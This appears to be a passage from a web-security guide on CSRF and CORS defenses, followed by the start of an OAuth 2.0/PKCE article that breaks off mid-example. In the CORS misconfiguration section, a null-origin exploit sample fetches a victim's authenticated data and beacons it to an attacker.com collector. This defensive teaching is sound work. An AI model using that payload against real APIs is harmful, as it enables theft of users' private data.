- **Forge non-simple requests without preflight**: Custom headers trigger OPTIONS
- **Bypass SameSite=Strict**: Cookie not sent on cross-site requests
- **Extract CSRF tokens from pages**: Requires XSS (different vulnerability)

## SameSite Cookies: The Primary Defense

The `SameSite` attribute (RFC 6265bis, December 2025) controls when cookies are sent with cross-site requests. It's the most effective CSRF mitigation because it operates at the browser level.

### Enforcement Modes

**Specification** (draft-ietf-httpbis-rfc6265bis-22):

| Mode       | Behavior                                                   | Use Case                             |
| ---------- | ---------------------------------------------------------- | ------------------------------------ |
| **Strict** | Cookie sent only in same-site context                      | Session cookies, auth tokens         |
| **Lax**    | Sent with same-site + top-level navigations (safe methods) | Default; balances security/usability |
| **None**   | Sent in all contexts (requires `Secure`)                   | Third-party integrations, embeds     |

**Same-site vs. cross-site determination**:

A request is "same-site" when:

1. The request is not a reload navigation triggered by user interaction, AND
2. The request's current URL origin shares the same registrable domain as the client's "site for cookies"

**Example**:

- `app.example.com` → `api.example.com` = **same-site** (same registrable domain)
- `app.example.com` → `api.other.com` = **cross-site**

### Default Behavior (2025)

> **Browser defaults**: Chrome 80+ (February 2020) treats cookies without `SameSite` as `Lax` by default. Firefox and Safari do not default to Lax—explicit configuration required.

**OWASP recommendation**: Always set `SameSite` explicitly. Relying on browser defaults creates inconsistent behavior across browsers.

```http
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly; Path=/
```

### The Lax+POST Exception (Lax-allowing-unsafe)

**Design rationale**: When Chrome introduced `SameSite=Lax` as default, it broke SSO (Single Sign-On) flows that use POST for cross-site redirects. The two-minute exception provides backward compatibility.

**Mechanism**: For cookies created within the last ~120 seconds without an explicit `SameSite` attribute, browsers may allow cross-site POST requests in top-level navigations.

**Security implication**: A two-minute window where users are vulnerable to CSRF after cookie creation. SSO flows should complete within this window, but attackers could exploit slow connections.

**Mitigation**: Always set `SameSite=Strict` or `SameSite=Lax` explicitly—the exception only applies to cookies without the attribute.

### Cookie Prefixes: `__Host-` and `__Secure-`

Cookie prefixes (RFC 6265bis) enforce security properties through naming conventions that browsers validate.

**`__Secure-` prefix**:

- Cookie must have `Secure` attribute
- Cannot be set from non-HTTPS origins

**`__Host-` prefix** (strictest):

- Must have `Secure` attribute
- Must NOT have `Domain` attribute (locked to exact origin)
- Must have `Path=/`
- Cannot be overwritten by subdomains

**Why `__Host-` matters**: Prevents subdomain cookie injection attacks. If `app.example.com` sets a session cookie and an attacker controls `evil.example.com`, without `__Host-` the attacker could overwrite the session cookie.

```http
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; Path=/; SameSite=Strict
```

**Design trade-off**: `__Host-` cookies cannot be shared across subdomains. If your auth system requires `auth.example.com` to set cookies for `app.example.com`, use `__Secure-` instead.

### SameSite Limitations

**SameSite does not protect against**:

1. **Same-site attacks**: An XSS vulnerability on any subdomain can forge "same-site" requests
2. **Subdomain takeover**: `abandoned.example.com` controlled by attacker is same-site as `app.example.com`
3. **GET-based state changes**: `SameSite=Lax` allows top-level GET navigations
4. **Speculative navigations**: Prerender/prefetch may send cookies before user intent

**Defense in depth**: SameSite is necessary but not sufficient. Combine with CSRF tokens for state-changing operations.

## CSRF Token Patterns

CSRF tokens provide request-level authentication beyond ambient cookies. The server includes a secret token in forms; attackers cannot read this token from the target domain.

### Synchronizer Token Pattern (Stateful)

**Mechanism**: Server generates a random token, stores it in the user's session, and embeds it in forms. On submission, the server verifies the submitted token matches the stored one.

**Design rationale**: Attackers cannot read tokens from cross-origin pages (blocked by SOP). Even if they trigger a request, they cannot include the correct token value.

```javascript collapse={1-3, 22-30}
import crypto from "crypto"

class SynchronizerTokenManager {
  generateToken(session) {
    const token = crypto.randomBytes(32).toString("hex")
    session.csrfToken = token
    return token
  }

  verifyToken(session, submittedToken) {
    if (!session.csrfToken || !submittedToken) {
      return false
    }
    // Constant-time comparison prevents timing attacks
    return crypto.timingSafeEqual(Buffer.from(session.csrfToken), Buffer.from(submittedToken))
  }
}

// Express middleware
app.use((req, res, next) => {
  if (!req.session.csrfToken) {
    req.session.csrfToken = crypto.randomBytes(32).toString("hex")
  }
  res.locals.csrfToken = req.session.csrfToken
  next()
})
```

**Trade-offs**:

| Advantage                    | Disadvantage                              |
| ---------------------------- | ----------------------------------------- |
| Strong security              | Requires server-side session storage      |
| Simple to understand         | Doesn't work with stateless architectures |
| Framework support widespread | Session storage scaling challenges        |

### Signed Double-Submit Cookie Pattern (Stateless)

**Mechanism**: Server generates a token bound to the session, sets it as a cookie, and requires it in request body/header. Attacker cannot read the cookie to include it in forged requests.

**OWASP-recommended structure** (prevents cookie injection attacks):

```
Token = HMAC(sessionId + randomValue, secretKey) + "." + randomValue
```

**Why signing is required**: Without signing, attackers who can set cookies (via subdomain or other injection) could set both the cookie and body value to match. Signing binds the token to server-side secrets.

```javascript collapse={1-3, 28-45}
import crypto from "crypto"

class SignedDoubleSubmitCSRF {
  constructor(secretKey) {
    this.secretKey = secretKey
  }

  generateToken(sessionId) {
    const randomValue = crypto.randomBytes(16).toString("hex")
    const hmac = crypto
      .createHmac("sha256", this.secretKey)
      .update(sessionId + randomValue)
      .digest("hex")
    return `${hmac}.${randomValue}`
  }

  verifyToken(sessionId, token) {
    if (!token || !token.includes(".")) return false

    const [submittedHmac, randomValue] = token.split(".")
    const expectedHmac = crypto
      .createHmac("sha256", this.secretKey)
      .update(sessionId + randomValue)
      .digest("hex")

    return crypto.timingSafeEqual(Buffer.from(submittedHmac), Buffer.from(expectedHmac))
  }
}

// Cookie: __Host-csrf=<token>; Secure; HttpOnly; SameSite=Strict
// Header/Body: X-CSRF-Token: <same token>
app.post("/api/transfer", (req, res) => {
  const cookieToken = req.cookies["__Host-csrf"]
  const headerToken = req.headers["x-csrf-token"]

  if (!csrf.verifyToken(req.session.id, headerToken) || cookieToken !== headerToken) {
    return res.status(403).json({ error: "CSRF validation failed" })
  }
  // Process request
})
```

**Critical implementation detail**: The cookie MUST use `__Host-` prefix and `SameSite=Strict` to prevent cookie injection attacks.

### Custom Request Header Pattern

**Mechanism**: Require a custom header (e.g., `X-CSRF-Token`) on state-changing requests. Browsers don't allow cross-origin JavaScript to set arbitrary headers without a preflight OPTIONS request.

**Design rationale**: CORS preflight blocks custom headers from cross-origin requests. If the server doesn't respond to OPTIONS with the right headers, the actual request is never sent.

```javascript collapse={1-2, 15-25}
// Server-side middleware
function requireCustomHeader(req, res, next) {
  const csrfHeader = req.headers["x-requested-with"]

  // Only applies to state-changing methods
  if (["POST", "PUT", "DELETE", "PATCH"].includes(req.method)) {
    if (csrfHeader !== "XMLHttpRequest") {
      return res.status(403).json({ error: "Missing CSRF header" })
    }
  }
  next()
}

// Client-side (automatically triggers preflight)
fetch("/api/transfer", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-Requested-With": "XMLHttpRequest", // Triggers CORS preflight
  },
  credentials: "include",
  body: JSON.stringify({ amount: 100 }),
})
```

**Limitation**: Only works for AJAX requests. Form submissions cannot set custom headers.

**Framework header conventions**:

| Framework              | Header Name    |
| ---------------------- | -------------- |
| Rails, Laravel, Django | `X-CSRF-Token` |
| AngularJS              | `X-XSRF-Token` |
| Express (csurf)        | `CSRF-Token`   |

### Origin/Referer Verification

**Mechanism**: Verify the `Origin` or `Referer` header matches expected values. These are "forbidden headers"—JavaScript cannot modify them.

**Header availability**:

| Header      | When Sent                                      | Reliability |
| ----------- | ---------------------------------------------- | ----------- |
| `Origin`    | CORS requests, POST, form submissions          | ~99%        |
| `Referer`   | Most requests (can be stripped by policy)      | ~98%        |
| Both absent | Privacy browsers, Referrer-Policy: no-referrer | ~1-2%       |

```javascript collapse={1-6, 28-35}
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://www.example.com"])

function verifyOrigin(req, res, next) {
  const origin = req.headers["origin"]
  const referer = req.headers["referer"]

  // Extract origin from referer if origin is absent
  let sourceOrigin = origin
  if (!sourceOrigin && referer) {
    try {
      sourceOrigin = new URL(referer).origin
    } catch {
      sourceOrigin = null
    }
  }

  if (sourceOrigin && !ALLOWED_ORIGINS.has(sourceOrigin)) {
    return res.status(403).json({ error: "Invalid origin" })
  }

  // If both absent, fall back to other protections (tokens)
  next()
}
```

**Edge case**: When both `Origin` and `Referer` are absent (~1-2% of traffic), the request should either be rejected or require additional verification via CSRF tokens.

## Fetch Metadata: Server-Side Request Filtering

Fetch Metadata headers (W3C Working Draft, April 2025) allow servers to distinguish legitimate navigations from potential attacks before processing requests.

### Header Values

**Sec-Fetch-Site**:

| Value         | Meaning                                |
| ------------- | -------------------------------------- |
| `same-origin` | Request from same origin               |
| `same-site`   | Request from same registrable domain   |
| `cross-site`  | Request from different site            |
| `none`        | User-initiated (address bar, bookmark) |

**Sec-Fetch-Mode**:

| Value         | Meaning                     |
| ------------- | --------------------------- |
| `navigate`    | Top-level navigation        |
| `cors`        | CORS request                |
| `no-cors`     | Simple cross-origin request |
| `same-origin` | Same-origin request         |
| `websocket`   | WebSocket connection        |

**Sec-Fetch-Dest**:

| Value      | Examples             |
| ---------- | -------------------- |
| `document` | Top-level navigation |
| `iframe`   | Iframe embed         |
| `script`   | Script loading       |
| `image`    | Image loading        |
| `empty`    | fetch(), XHR         |

**Sec-Fetch-User**: `?1` when user-activated (click, keyboard); omitted otherwise.

### Resource Isolation Policy

```javascript collapse={1-8, 35-45}
function fetchMetadataPolicy(req, res, next) {
  const site = req.headers["sec-fetch-site"]
  const mode = req.headers["sec-fetch-mode"]
  const dest = req.headers["sec-fetch-dest"]

  // Allow same-origin requests
  if (site === "same-origin") {
    return next()
  }

  // Allow user-initiated navigations
  if (site === "none") {
    return next()
  }

  // Allow same-site requests from subdomains
  if (site === "same-site" && mode === "navigate") {
    return next()
  }

  // Block cross-site requests to sensitive endpoints
  if (site === "cross-site") {
    // Only allow specific cross-site patterns
    if (dest === "image" || dest === "script") {
      // Public assets only
      if (req.path.startsWith("/public/")) {
        return next()
      }
    }
    return res.status(403).json({ error: "Cross-site request blocked" })
  }

  next()
}
```

**Browser support** (January 2026): Chrome 76+, Firefox 90+, Safari 16.4+, Edge 79+.

**Design rationale**: The `Sec-` prefix makes these headers "forbidden"—JavaScript cannot set them, preventing attackers from spoofing request context.

## CORS: Controlled Same-Origin Policy Relaxation

Cross-Origin Resource Sharing (CORS) is a browser mechanism allowing servers to declare which foreign origins may read their responses. It does NOT prevent requests from being sent.

### The Same-Origin Policy

The Same-Origin Policy (SOP) is the browser's default security boundary. Two URLs have the same origin if they share:

- **Scheme**: `https:` vs `http:`
- **Host**: `api.example.com` vs `example.com`
- **Port**: `:443` vs `:8080`

**What SOP blocks**:

- JavaScript reading cross-origin responses
- Accessing cross-origin DOM
- Reading cross-origin cookies

**What SOP does NOT block**:

- Sending cross-origin requests
- Embedding cross-origin resources (`<img>`, `<script>`, `<iframe>`)
- Form submissions to cross-origin targets

### Simple vs. Preflighted Requests

**Simple requests** bypass preflight. Per the Fetch Standard, a request is "simple" when ALL conditions are met:

1. **Method**: GET, HEAD, or POST
2. **Headers**: Only CORS-safelisted headers (Accept, Accept-Language, Content-Language, Content-Type with restrictions, Range)
3. **Content-Type** (if present): `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`
4. **No ReadableStream** in request body
5. **No event listeners** on `XMLHttpRequest.upload`

**Additional constraint**: Total CORS-safelisted request-header value size ≤ 1024 bytes.

**Preflighted requests**: Any request not meeting simple criteria triggers an OPTIONS preflight.

```http
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, X-Custom-Header
```

**Server preflight response**:

```http
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type, X-Custom-Header
Access-Control-Max-Age: 86400
Vary: Origin
```

### CORS Response Headers

| Header                             | Purpose                              | Required When                 |
| ---------------------------------- | ------------------------------------ | ----------------------------- |
| `Access-Control-Allow-Origin`      | Origin(s) permitted to read response | Always for CORS               |
| `Access-Control-Allow-Methods`     | Methods permitted beyond simple      | Preflight only                |
| `Access-Control-Allow-Headers`     | Non-simple headers permitted         | Preflight only                |
| `Access-Control-Allow-Credentials` | Credentials (cookies) allowed        | With `credentials: 'include'` |
| `Access-Control-Expose-Headers`    | Headers JavaScript can read          | Optional                      |
| `Access-Control-Max-Age`           | Preflight cache duration (seconds)   | Optional                      |

### Credentialed Requests and Wildcards

**Critical security constraint**: When `Access-Control-Allow-Credentials: true`, wildcards are forbidden.

```http
# INVALID - browsers will block
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

# VALID - explicit origin required
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Vary: Origin
```

**Design rationale**: Wildcard + credentials would expose authenticated content to any origin—effectively disabling SOP for that endpoint.

**Vary header requirement**: When dynamically reflecting the `Origin` header, include `Vary: Origin` to prevent cache poisoning.

### The CORS Preflight Cache

`Access-Control-Max-Age` caches preflight responses, reducing OPTIONS requests for subsequent calls.

**Browser limits**:

| Browser | Maximum Max-Age          |
| ------- | ------------------------ |
| Chrome  | 7200 seconds (2 hours)   |
| Firefox | 86400 seconds (24 hours) |
| Safari  | 600 seconds (10 minutes) |

**Cache key**: Origin + URL + credentials mode. A cached preflight for `credentials: 'omit'` doesn't apply to `credentials: 'include'`.

## CORS Misconfigurations and Attacks

CORS misconfigurations can effectively disable SOP protections for your endpoints.

### Reflected Origin

**Vulnerability**: Server reflects any `Origin` header without validation.

```javascript
// VULNERABLE
app.use((req, res, next) => {
  res.setHeader("Access-Control-Allow-Origin", req.headers.origin)
  res.setHeader("Access-Control-Allow-Credentials", "true")
  next()
})
```

**Exploit**: Attacker's page can read authenticated responses from any endpoint.

**Fix**: Validate against an allowlist:

```javascript collapse={1-5, 18-25}
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://staging.example.com"])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader("Access-Control-Allow-Origin", origin)
    res.setHeader("Access-Control-Allow-Credentials", "true")
    res.setHeader("Vary", "Origin")
  }
  next()
})
```

### Null Origin Trust

**Vulnerability**: Server accepts `Origin: null` with credentials.

```http
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

**When browsers send `Origin: null`**:

- Sandboxed iframes (`sandbox="allow-scripts"`)
- Local file access (`file://` URLs)
- Data URIs
- CORS redirect chains

**Exploit** (CVE-2019-9580 pattern):

```html
<iframe
  sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
    fetch('https://api.vulnerable.com/user/data', {credentials:'include'})
      .then(r => r.json())
      .then(data => {
        // Exfiltrate data
        navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data))
      })
  </script>"
>
</iframe>
```

**Fix**: Never allow `null` origin with credentials. If needed for legitimate use cases (local development), restrict to non-sensitive endpoints.

### Regex Bypass

**Vulnerability**: Flawed regex validation of origins.

```javascript
// VULNERABLE - doesn't anchor end
const allowedPattern = /^https:\/\/.*\.example\.com/
if (allowedPattern.test(origin)) {
  res.setHeader("Access-Control-Allow-Origin", origin)
}
// Bypass: https://example.com.attacker.com
```

**Fix**: Exact matching or properly anchored regex:

```javascript
// SECURE - exact match
const ALLOWED_ORIGINS = new Set(["https://app.example.com"])

// Or properly anchored regex
const allowedPattern = /^https:\/\/[a-z]+\.example\.com$/
```

### Subdomain Wildcards

**Vulnerability**: Allowing any subdomain.

```javascript
// VULNERABLE if subdomains can be compromised
if (origin.endsWith(".example.com")) {
  res.setHeader("Access-Control-Allow-Origin", origin)
}
```

**Risk**: Subdomain takeover on `abandoned.example.com` grants CORS access. Typosquatting subdomains (`examp1e.example.com`) may also match.

**Mitigation**: Explicit allowlist of known subdomains; regular audit of DNS records.

## Implementation Checklist

### Cookie Security

```http
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
```

| Attribute         | Purpose                      | Requirement                        |
| ----------------- | ---------------------------- | ---------------------------------- |
| `__Host-` prefix  | Prevents subdomain injection | Requires Secure, Path=/, no Domain |
| `Secure`          | HTTPS only                   | Required for production            |
| `HttpOnly`        | No JavaScript access         | Required for session cookies       |
| `SameSite=Strict` | No cross-site requests       | Primary CSRF defense               |
| `Path=/`          | Applies to all paths         | Recommended                        |

### CSRF Defense Layers

1. **Layer 1: SameSite cookies** (browser-enforced)
   - `SameSite=Strict` for session cookies
   - `SameSite=Lax` minimum if cross-site navigations required

2. **Layer 2: CSRF tokens** (server-enforced)
   - Signed double-submit for stateless architectures
   - Synchronizer token for session-based applications

3. **Layer 3: Origin verification** (fallback)
   - Verify `Origin` or `Referer` headers
   - Reject requests with neither header OR require token

4. **Layer 4: Fetch Metadata** (modern browsers)
   - Block `Sec-Fetch-Site: cross-site` for sensitive endpoints
   - Allow `Sec-Fetch-Site: none` for user-initiated actions

### CORS Security

```javascript collapse={1-10, 35-50}
const corsOptions = {
  origin: (origin, callback) => {
    const ALLOWED = new Set(["https://app.example.com", "https://admin.example.com"])

    // Allow requests with no origin (same-origin, curl, etc.)
    if (!origin) return callback(null, true)

    if (ALLOWED.has(origin)) {
      callback(null, true)
    } else {
      callback(new Error("CORS not allowed"))
    }
  },
  methods: ["GET", "POST", "PUT", "DELETE"],
  allowedHeaders: ["Content-Type", "Authorization", "X-CSRF-Token"],
  credentials: true,
  maxAge: 86400, // 24 hours (browser may cap lower)
  optionsSuccessStatus: 204,
}

app.use(cors(corsOptions))

// Explicit Vary header for caching
app.use((req, res, next) => {
  res.setHeader("Vary", "Origin")
  next()
})
```

**CORS security checklist**:

- [ ] Never use `*` with `credentials: true`
- [ ] Validate origins against explicit allowlist
- [ ] Never reflect `Origin` header without validation
- [ ] Never trust `null` origin with credentials
- [ ] Include `Vary: Origin` when dynamically setting CORS headers
- [ ] Limit `Access-Control-Max-Age` appropriately
- [ ] Minimize `Access-Control-Expose-Headers`

## Testing and Monitoring

### Testing CSRF Protection

```bash
# Test without CSRF token (should fail)
curl -X POST https://app.example.com/api/transfer \
  -H "Cookie: session=abc123" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100}'

# Test with wrong origin (should fail with origin verification)
curl -X POST https://app.example.com/api/transfer \
  -H "Cookie: session=abc123" \
  -H "Origin: https://attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100}'
```

### Testing CORS Configuration

```bash
# Test preflight
curl -X OPTIONS https://api.example.com/data \
  -H "Origin: https://attacker.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: X-Custom-Header" \
  -v

# Test null origin (should fail with credentials)
curl https://api.example.com/data \
  -H "Origin: null" \
  -v
```

### Monitoring Failed Requests

Log CSRF and CORS failures for security monitoring:

```javascript collapse={1-5, 20-30}
function securityEventLogger(req, res, next) {
  const originalEnd = res.end
  res.end = function (...args) {
    if (res.statusCode === 403) {
      logger.warn("Security block", {
        type: res.locals.securityBlockReason,
        ip: req.ip,
        origin: req.headers.origin,
        referer: req.headers.referer,
        path: req.path,
        method: req.method,
        userAgent: req.headers["user-agent"],
        fetchSite: req.headers["sec-fetch-site"],
      })
    }
    originalEnd.apply(this, args)
  }
  next()
}
```

**Alerting thresholds**:

- Spike in CSRF token failures: Possible attack or token expiration issue
- Repeated null origin attempts: Possible exploitation attempt
- Origin validation failures from same IP: Targeted attack

## Conclusion

CSRF and CORS defense requires understanding that browsers automatically include cookies and that CORS is a relaxation mechanism, not a security boundary.

**Effective defense requires layers**:

1. **SameSite=Strict cookies**: First line—browser prevents cross-site cookie attachment
2. **CSRF tokens**: Server-side verification for state-changing operations
3. **Origin verification**: Fallback when headers are available
4. **Fetch Metadata**: Modern server-side request classification
5. **Strict CORS configuration**: Explicit allowlist, never reflect origins, never trust null

**Key invariants to enforce**:

- GET requests must be safe (no state changes)
- State-changing requests require multiple verification layers
- CORS headers must use explicit allowlists, never wildcards with credentials
- SameSite cookies are necessary but not sufficient—XSS bypasses them

## Appendix

### Prerequisites

- HTTP cookie mechanics and header structure
- Same-origin policy fundamentals
- Basic cryptographic concepts (HMAC)

### Terminology

| Term               | Definition                                                                    |
| ------------------ | ----------------------------------------------------------------------------- |
| **CORS**           | Cross-Origin Resource Sharing—browser mechanism for controlled SOP relaxation |
| **CSRF**           | Cross-Site Request Forgery—attack exploiting automatic cookie inclusion       |
| **Fetch Metadata** | Sec-Fetch-\* headers providing request context to servers                     |
| **Preflight**      | OPTIONS request checking if server permits a cross-origin request             |
| **SameSite**       | Cookie attribute controlling cross-site request inclusion                     |
| **SOP**            | Same-Origin Policy—browser default blocking cross-origin resource access      |

### Summary

- CSRF exploits automatic cookie attachment; SameSite=Strict is the primary defense
- SameSite has limitations: subdomains, XSS, the two-minute Lax+POST window
- CSRF tokens provide server-side verification; signed double-submit works statelessly
- CORS controls who can READ responses, not who can SEND requests
- Never use CORS wildcards with credentials; validate origins against explicit allowlists
- Fetch Metadata enables server-side request filtering based on context
- Defense in depth: combine SameSite + tokens + origin verification + Fetch Metadata

### References

**Specifications**

- [RFC 6265bis - Cookies: HTTP State Management Mechanism](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-rfc6265bis) - SameSite cookie specification (December 2025)
- [WHATWG Fetch Standard](https://fetch.spec.whatwg.org/) - CORS protocol specification
- [W3C Fetch Metadata Request Headers](https://w3c.github.io/webappsec-fetch-metadata/) - Sec-Fetch-\* headers (Working Draft, April 2025)

**Official Documentation**

- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) - Comprehensive defense guidance
- [MDN CORS Guide](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS) - CORS implementation reference
- [MDN SameSite Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value) - Cookie attribute documentation
- [web.dev SameSite Cookies Explained](https://web.dev/articles/samesite-cookies-explained) - Chrome team guidance

**Security Research**

- [PortSwigger CORS Vulnerabilities](https://portswigger.net/web-security/cors) - CORS misconfiguration exploitation
- [PortSwigger Bypassing SameSite Restrictions](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) - SameSite bypass techniques
- [Chromium SameSite FAQ](https://www.chromium.org/updates/same-site/faq/) - Browser implementation details

---

## OAuth 2.0 and OIDC Flows: Authorization Code to PKCE

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/web-security-auth/oauth-oidc-flow-guide
**Category:** Web Foundations / Security & Auth
**Description:** A comprehensive technical analysis of OAuth 2.0 authorization flows, OpenID Connect (OIDC) identity layer, PKCE security mechanism, and token lifecycle management for secure authentication and authorization implementations.

# OAuth 2.0 and OIDC Flows: Authorization Code to PKCE

A comprehensive technical analysis of OAuth 2.0 authorization flows, OpenID Connect (OIDC) identity layer, PKCE security mechanism, and token lifecycle management for secure authentication and authorization implementations.

<figure>

![Complete OAuth 2.0 Authorization Code flow with PKCE and OIDC, showing the interaction between user, client, authorization server, and resource server.](./complete-oauth-2-0-authorization-code-flow-with-pkce-and-oidc-showing-the-intera.svg)

<figcaption>Complete OAuth 2.0 Authorization Code flow with PKCE and OIDC, showing the interaction between user, client, authorization server, and resource server.</figcaption>

</figure>

## Abstract

OAuth 2.0 is an **authorization delegation framework**—it lets users grant applications limited access to their resources without sharing credentials. OIDC (OpenID Connect) is an **identity layer on top of OAuth**—it proves _who_ the user is via ID tokens. The core security model relies on:

![Diagram](./diagram-1.svg)

| Component              | Purpose                                     | Lifetime     | Audience              |
| ---------------------- | ------------------------------------------- | ------------ | --------------------- |
| **Authorization Code** | One-time credential for token exchange      | ~10 minutes  | Authorization server  |
| **Access Token**       | Resource access credential                  | 5-60 minutes | Resource server (API) |
| **Refresh Token**      | Long-lived credential for new access tokens | Days/weeks   | Authorization server  |
| **ID Token**           | Identity proof (JWT with user claims)       | Minutes      | Client application    |

### Key Design Principles

- **PKCE is mandatory** for all clients (OAuth 2.1)—prevents authorization code interception
- **Tokens are bearer credentials**—possession equals authorization; protect accordingly
- **State prevents CSRF**; **nonce prevents replay**; **PKCE prevents interception**—all three are required
- **Implicit flow is deprecated**—tokens in URLs leak via history, referrer, logs
- **Access tokens are for APIs; ID tokens are for clients**—never use ID tokens to call APIs

## OAuth 2.0 Core Architecture

### Four Defined Roles

OAuth 2.0 (RFC 6749) defines four roles that interact during authorization:

| Role                     | Description                                                 | Example               |
| ------------------------ | ----------------------------------------------------------- | --------------------- |
| **Resource Owner**       | Entity granting access to protected resources               | End user              |
| **Resource Server**      | Server hosting protected resources, validates access tokens | API server            |
| **Client**               | Application requesting access on behalf of resource owner   | Web/mobile app        |
| **Authorization Server** | Issues tokens after authenticating the resource owner       | Auth0, Okta, Keycloak |

**Design rationale**: OAuth separates the client from the resource owner. Instead of the client storing user credentials (the pre-OAuth antipattern), the client obtains tokens with specific scope and lifetime. This enables revocable, scoped access without credential exposure.

### Client Types

Clients are classified by their ability to maintain credential confidentiality:

| Type             | Can Store Secrets? | Examples                | Token Strategy        |
| ---------------- | ------------------ | ----------------------- | --------------------- |
| **Confidential** | Yes                | Server-side web apps    | Client secret + PKCE  |
| **Public**       | No                 | SPAs, mobile apps, CLIs | PKCE only (no secret) |

> **OAuth 2.1 (draft-14)**: The distinction matters less now—PKCE is mandatory for all clients. Confidential clients still use secrets for additional security, but secrets alone are insufficient.

### Protocol Endpoints

| Endpoint            | Purpose                          | HTTP Method |
| ------------------- | -------------------------------- | ----------- |
| **Authorization**   | Obtain user consent via redirect | GET         |
| **Token**           | Exchange grants for tokens       | POST        |
| **Revocation**      | Invalidate tokens                | POST        |
| **Introspection**   | Validate token metadata          | POST        |
| **UserInfo** (OIDC) | Fetch user profile claims        | GET/POST    |

---

## Authorization Code Flow with PKCE

The Authorization Code flow with PKCE (Proof Key for Code Exchange) is the **only recommended flow** for all client types as of OAuth 2.1.

### Step 1: Generate Security Parameters

Before initiating the flow, the client generates three security parameters:

```javascript title="pkce-generation.js"
import crypto from "crypto"

// PKCE: code_verifier (43-128 chars, cryptographically random)
const codeVerifier = crypto.randomBytes(32).toString("base64url")
// e.g., "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk"

// PKCE: code_challenge (SHA256 hash of verifier)
const codeChallenge = crypto.createHash("sha256").update(codeVerifier).digest("base64url")
// e.g., "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM"

// CSRF protection
const state = crypto.randomBytes(16).toString("hex")

// OIDC replay protection
const nonce = crypto.randomBytes(16).toString("hex")

// Store in session for validation
session.oauthParams = { codeVerifier, state, nonce }
```

**Why three parameters?**

| Parameter                        | Protects Against                              | Validated By                          |
| -------------------------------- | --------------------------------------------- | ------------------------------------- |
| `state`                          | CSRF attacks (forged authorization responses) | Client (callback)                     |
| `nonce`                          | ID token replay attacks                       | Client (ID token validation)          |
| `code_verifier`/`code_challenge` | Authorization code interception               | Authorization server (token endpoint) |

### Step 2: Authorization Request

The client redirects the user to the authorization server:

```http
GET /authorize?
  response_type=code
  &client_id=CLIENT_ID
  &redirect_uri=https://client.example/callback
  &scope=openid profile email
  &state=abc123xyz
  &nonce=def456uvw
  &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
  &code_challenge_method=S256
HTTP/1.1
Host: auth.example.com
```

**Required parameters:**

| Parameter               | Purpose                             | Requirement                   |
| ----------------------- | ----------------------------------- | ----------------------------- |
| `response_type=code`    | Request authorization code          | REQUIRED                      |
| `client_id`             | Client identifier                   | REQUIRED                      |
| `redirect_uri`          | Callback URL (exact match required) | REQUIRED in OAuth 2.1         |
| `code_challenge`        | PKCE challenge                      | REQUIRED in OAuth 2.1         |
| `code_challenge_method` | `S256` (SHA256) or `plain`          | REQUIRED if challenge present |
| `state`                 | CSRF protection                     | REQUIRED                      |
| `scope`                 | Requested permissions               | RECOMMENDED                   |
| `nonce`                 | Replay protection (OIDC)            | REQUIRED for OIDC             |

### Step 3: User Authentication and Consent

The authorization server:

1. Authenticates the user (login if no session)
2. Displays consent screen with requested scopes
3. Records user's decision

### Step 4: Authorization Response

On approval, the authorization server redirects back with the authorization code:

```http
HTTP/1.1 302 Found
Location: https://client.example/callback?
  code=SplxlOBeZQQYbYS6WxSbIA
  &state=abc123xyz
  &iss=https://auth.example.com
```

**Security validation (client-side):**

```javascript title="callback-validation.js" collapse={1-3, 20-25}
// Express callback handler
app.get("/callback", async (req, res) => {
  const { code, state, iss, error } = req.query

  // Check for error response
  if (error) {
    return res.status(400).json({ error: req.query.error_description })
  }

  // Validate state (CSRF protection)
  if (state !== req.session.oauthParams.state) {
    return res.status(400).json({ error: "State mismatch - CSRF detected" })
  }

  // Validate issuer (mix-up attack protection, RFC 9207)
  if (iss !== EXPECTED_ISSUER) {
    return res.status(400).json({ error: "Issuer mismatch" })
  }

  // Proceed to token exchange...
  const tokens = await exchangeCodeForTokens(code)
  res.json(tokens)
})
```

> **RFC 9207**: The `iss` parameter in the authorization response prevents mix-up attacks when clients use multiple authorization servers. Always validate it matches the expected issuer.

### Step 5: Token Exchange

The client exchanges the authorization code for tokens at the token endpoint:

```http
POST /token HTTP/1.1
Host: auth.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https://client.example/callback
&client_id=CLIENT_ID
&code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
```

**For confidential clients**, add client authentication:

```http
POST /token HTTP/1.1
Host: auth.example.com
Content-Type: application/x-www-form-urlencoded
